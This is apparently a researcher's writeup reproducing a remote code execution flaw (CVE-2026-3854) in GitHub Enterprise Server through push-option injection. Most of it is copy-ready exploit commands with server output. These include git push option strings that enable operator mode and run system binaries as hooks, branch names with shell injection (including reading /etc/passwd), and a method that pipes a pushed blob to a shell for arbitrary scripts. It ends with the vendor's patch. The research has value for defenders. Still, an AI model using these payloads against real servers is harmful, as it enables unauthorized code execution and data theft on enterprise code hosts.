When Wiz published their writeup of the GitHub RCE, they omitted critical details needed for reproduction. The key unanswered questions were:

  1. What is the structure of the repo_pre_receive_hooks JSON?
  2. What values qualify as “non-production rails_env”?
  3. How did they achieve arbitrary code execution?
  4. Why did they specifically mention SSH?

Searching GitHub for existing PoCs yielded only a few repos with CVE-2026-3854 in the name—all were AI-generated speculations rather than working exploits.

Initial Testing: Confirming the Injection Vector

I tested push option injection on my GHE instance:

git push --push-option='x;user_operator_mode=bool:true'

This successfully enabled operator mode, producing debug output:

remote: Operator mode enabled.
remote: starting PreReceiveBlobCheck(100.00, 50.00) hook...
remote: finished PreReceiveBlobCheck(100.00, 50.00) hook in 0s
remote: starting PreReceiveRedirectCheck hook...
remote: finished PreReceiveRedirectCheck hook in 0s
remote: starting PreReceiveRefsCheck hook...
remote: finished PreReceiveRefsCheck hook in 0s
remote: starting PreReceiveRefLengthCheck hook...
remote: finished PreReceiveRefLengthCheck hook in 0s
remote: starting PreReceiveForcePushCheck hook...
remote: finished PreReceiveForcePushCheck hook in 0s
remote: starting PreReceiveLFSIntegrity hook...
remote: finished PreReceiveLFSIntegrity hook in 0s

Important finding: Testing with HTTPS push confirmed this vulnerability affects both SSH and HTTPS transport—it’s not SSH-specific.

Reconstructing the Hook JSON Structure

GitHub’s documentation provided initial guidance on pre-receive hook structure:

  • name: The hook name
  • script: The script that the hook runs
  • script_repository: The GitHub repository containing the script
  • environment: The pre-receive environment for script execution
  • enforcement: State of enforcement (enabled, disabled, testing)
  • allow_downstream_configuration: Whether enforcement can be overridden

Based on this, I initially tried:

[{
  "script": "path/to/script",
  "enforcement": "testing"
}]

This didn’t work. The answer lay in the ghe-pre-receive-fork Go binary, which revealed the actual structure:

type HookEntry struct {
    RepositoryID int64  `json:"..."`
    Name         string `json:"..."`
    HookID       int64  `json:"..."`
    Command      int64  `json:"..."`
    Script       string `json:"..."`
    Enforcement  int64  `json:"..."`
}

Note: The actual JSON field names differ from the public documentation and are intentionally obfuscated here.

The binary also revealed that “non-production” rails_env means anything other than the literal string "production".

Achieving Basic Code Execution

With the correct JSON structure understood, I executed a basic command:


 git push -o 'x;rails_env=;custom_hooks_dir=/;repo_pre_receive_hooks=[{"script":"../bin/id","enforcement":2}];user_operator_mode=bool:true'
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Writing objects: 100% (3/3), 267 bytes | 267.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: Operator mode enabled.
remote: starting PreReceiveBlobCheck(100.00, 50.00) hook...
remote: finished PreReceiveBlobCheck(100.00, 50.00) hook in 0s
remote: starting PreReceiveRedirectCheck hook...
remote: finished PreReceiveRedirectCheck hook in 0s
remote: starting PreReceiveRefsCheck hook...
remote: finished PreReceiveRefsCheck hook in 0s
remote: starting PreReceiveRefLengthCheck hook...
remote: finished PreReceiveRefLengthCheck hook in 0s
remote: starting PreReceiveForcePushCheck hook...
remote: finished PreReceiveForcePushCheck hook in 0s
remote: starting PreReceiveLFSIntegrity hook...
remote: finished PreReceiveLFSIntegrity hook in 0s
remote: starting PreReceiveCustomHooksCheck hook...
remote: uid=500(git) gid=500(git) groups=500(git)
remote: finished PreReceiveCustomHooksCheck hook in 14ms
To ghe.local:nonsleepr/CVE-2026-3854.git
   c4ad520..31caf3c  main -> main

Success! The id command executed as uid=500(git). But how do we achieve arbitrary code execution?

The Challenge: From Fixed Commands to Arbitrary Execution

Attempts to pass arguments directly (e.g., "script": "../usr/bin/bash -c ...") failed. Examining the binary revealed why:

exec.Command(filepath.Join(custom_hooks_dir, "testenv", hookEntry.Script))

The binary constructs a path and executes it—no argument passing. Since we can’t pass arguments to the executable, we need another vector for controlling execution.

Solution: Exploiting Pre-Receive Hook Stdin

Pre-receive hooks receive data on stdin according to the Git specification:

This hook executes once for the receive operation. It takes no arguments, but for each ref to be updated it receives on standard input a line of the format:
<old-oid> SP <new-oid> SP <ref-name> LF

Testing with ../usr/bin/cat confirmed this:

f1d2d2f924e986ac86fdf7b36c94bcdf32beec15 e242ed3bffccdf271b7fbaf34ed72d089537b42f refs/heads/main

The ref name is user-controlled. Git reference naming rules allow many characters:

Allowed: Slashes /, dollar signs $, curly braces {}, semicolons ;
Disallowed: Spaces, ASCII control characters, .. sequences, ~, ^, :, ?, *, [, backslashes

Crucially, semicolons and ${variable} syntax are permitted. This enables shell command injection.

Technique 1: Basic Branch Name Injection

Creating a branch with shell metacharacters:

git checkout -b ';cat$IFS/etc/passwd'

Using $IFS (which expands to whitespace) bypasses the space restriction.

Technique 2: Leveraging Environment Variables

Push options are exposed as environment variables. Testing with ../bin/env revealed:

GIT_SOCKSTAT_VAR_push_option_0=x
GIT_SOCKSTAT_VAR_push_option_count=1

We can reference push options from the branch name using environment variable expansion. Combining this with shell execution:

git checkout -b ';${GIT_SOCKSTAT_VAR_push_option_0};exit${IFS}1'

Then push with commands in the option itself:

git push -o 'ls -lah;rails_env=;custom_hooks_dir=/;repo_pre_receive_hooks=[{"script":"../bin/sh","enforcement":2}];user_operator_mode=bool:true' origin ';${GIT_SOCKSTAT_VAR_push_option_0};exit${IFS}1'

Output:

remote: ../bin/sh: failed with exit status 1
remote: /bin/sh: 1: 0000000000000000000000000000000000000000: not found
remote: total 124K
remote: drwxr-xr-x 6 git git 4.0K May  1 12:34 .
remote: drwxr-xr-x 3 git git 4.0K Apr 29 18:55 ..
remote: -rw-r--r-- 1 git git   21 Apr 29 16:22 HEAD
remote: -rw-r--r-- 1 git git  71K May  1 12:34 audit_log
remote: -rw-r--r-- 1 git git   79 Apr 29 16:22 config
remote: -rw-r--r-- 1 git git  199 May  1 12:34 dgit-state
remote: -rw-r--r-- 1 git git    0 May  1 12:34 dgit-state.flock
remote: lrwxrwxrwx 1 git git   51 Apr 29 16:22 hooks -> /data/github/current/lib/git-core/fi-template/hooks
remote: drwxr-xr-x 2 git git 4.0K May  1 12:34 info
remote: -rw-r--r-- 1 git git   78 Apr 29 16:26 language-stats.cache
remote: drwxr-xr-x 3 git git 4.0K Apr 29 16:25 logs
remote: -rw-r--r-- 1 git git    0 Apr 29 18:55 nw-repack.flock
remote: -rw-r--r-- 1 git git    0 May  1 12:34 nw-sync.lock
remote: drwxr-xr-x 5 git git 4.0K May  1 12:48 objects
remote: -rw-r--r-- 1 git git  216 Apr 29 18:55 packed-refs
remote: drwxr-xr-x 4 git git 4.0K Apr 29 16:22 refs
remote: -rw-r--r-- 1 git git   77 Apr 29 16:26 stacks-stats.cache
remote: finished PreReceiveCustomHooksCheck hook in 48ms
To https://ghe.local/nonsleepr/CVE-2026-3854
 ! [remote rejected] ;${GIT_SOCKSTAT_VAR_push_option_0};exit${IFS}1 -> ;${GIT_SOCKSTAT_VAR_push_option_0};exit${IFS}1 (pre-receive hook declined)
error: failed to push some refs to 'https://ghe.local/nonsleepr/CVE-2026-3854'

Perfect! We now have arbitrary command execution through the push option, which accepts far more flexible input than branch names.

Technique 3: Executing Larger Scripts

For unlimited script execution, we can use Git’s blob mechanism:

  1. Compute the blob SHA locally:

    BLOB_SHA=$(git hash-object payload.sh)
    
  2. Pipe the blob to shell during pre-receive:

    git push -o 'git cat-file blob '$BLOB_SHA';rails_env=;custom_hooks_dir=/;repo_pre_receive_hooks=[{"script":"../bin/sh","enforcement":2}];user_operator_mode=bool:true' origin ';${GIT_SOCKSTAT_VAR_push_option_0}|sh;exit${IFS}1'
    

The pushed blob is accessible via git cat-file during hook execution, enabling arbitrary multi-line script execution in a single push.

The Fix

GitHub patched this by modifying the babeld service’s input validation:

Before (vulnerable):

fn is_valid_push_option(value: &[u8]) -> bool {
    value.iter().all(|&b| b.is_ascii_graphic())
}

After (patched):

fn is_valid_push_option(value: &[u8]) -> bool {
    value.iter().all(|&b| {
        if !b.is_ascii_graphic() {
            return false;
        }
        if b == b';' || b == b'=' {
            return false;
        }
        true
    })
}

The fix explicitly blocks semicolons and equals signs in push option values, preventing X-Stat header injection.